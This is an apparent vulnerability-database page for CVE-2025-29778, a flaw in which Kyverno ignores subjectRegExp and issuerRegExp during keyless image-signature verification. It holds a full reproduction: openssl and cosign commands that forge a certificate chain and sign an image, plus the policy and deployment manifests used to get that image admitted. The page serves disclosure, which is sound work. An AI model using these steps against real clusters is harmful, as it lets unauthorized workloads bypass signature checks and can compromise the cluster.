CVE-2025-29778Medium· 5.8▾ SunlitKyverno ignores subjectRegExp and IssuerRegExp
▾ Sunlit zone — Low / medium · no exploitation signal
impact 31.9 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Sep 12.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.3%
Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.
Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.
For the successful exploitation attacker needs:
# Create self-signed RootCA
openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem
# Create request for the intermediate certificate
openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr
# Issue intermediate cert with RootCA
openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copy_extensions copy -out intermediate-ca.pem
# OID_1_1 is the hexadecimal representation of the oidcissuer url
OID_1_1=$(echo -n "https://me.net" | xxd -p -u)
# Create request for the leaf certificate
openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:[email protected]" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID_1_1}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr
# Issue leaf cert with Intermediate CA
openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copy_extensions copy -days 9999 -sha256 -out my-cert.pem
# Generate certificates chain
cat intermediate-ca.pem root-ca.pem > cert-chain.pem
COSIGN_PASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key
COSIGN_PASSWORD="" cosign sign $IMAGE_WITH_HASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-image-keyless
spec:
validationFailureAction: Enforce
webhookTimeoutSeconds: 30
rules:
- name: check-image-keyless
match:
any:
- resources:
kinds:
- Pod
context:
- name: encodedCert
apiCall:
urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca"
method: GET
jmesPath: "data.\"fulcio-ca.pem\""
- name: root
variable:
jmesPath: "base64_decode(encodedCert)"
verifyImages:
- imageReferences:
- "<IMAGE_REGEXP>"
attestors:
- entries:
- keyless:
subjectRegExp: https://ivalid
issuerRegExp: https://ivalid
roots: "{{root}}"
rekor:
url: <URL_TO_REKOR>
pubkey: |-
-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----
ctlog:
pubkey: |-
-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: image-sign
name: image-sign
namespace: default
spec:
replicas: 2
selector:
matchLabels:
app: image-sign
strategy: {}
template:
metadata:
annotations:
labels:
app: image-sign
spec:
containers:
- image: <YOUR_IMAGE>
imagePullPolicy: Always
name: image-signing
ports:
- containerPort: 5000
resources:
requests:
memory: 500Mi
cpu: 0.1
limits:
memory: 2Gi
cpu: 0.2
restartPolicy: Always
status: {}
Deploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster
Problem was discovered by me when testing image sign verifying with keyless signing: https://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?thread_ts=1740136401.365279&cid=CLGR9BJU9. Then it was verified and fixed by Mohcode. But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.
github.com/kyverno/kyverno >= 1.13.0, < 1.14.0-alpha.1Upgrade to a patched release:
github.com/kyverno/kyverno 1.14.0-alpha.1Connected by shared product, vendor, weakness, or advisory.
CVE-2023-33191Medium· 4.6kyverno seccomp control can be circumvented
CVE-2026-84196High· 7.7Kyverno before 1.18.0 contains a server-side request forgery vulnerability in apiCall.service.url that allows authenticated users to send arbitrary HTTP requests by injecting user-controlled input through variable substitution
CVE-2023-54356Low· 3.7Kyverno versions 1.9.4 and earlier support insecure 3DES cipher suites (TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA and TLS_RSA_WITH_3DES_EDE_CBC_SHA) on their TLS endpoints
CVE-2026-84200Critical· 9.0Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw
CVE-2026-84199High· 7.7Kyverno before 1.16.2 contains a server-side request forgery (SSRF) vulnerability in the APICall feature
CVE-2026-84195High· 7.7Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers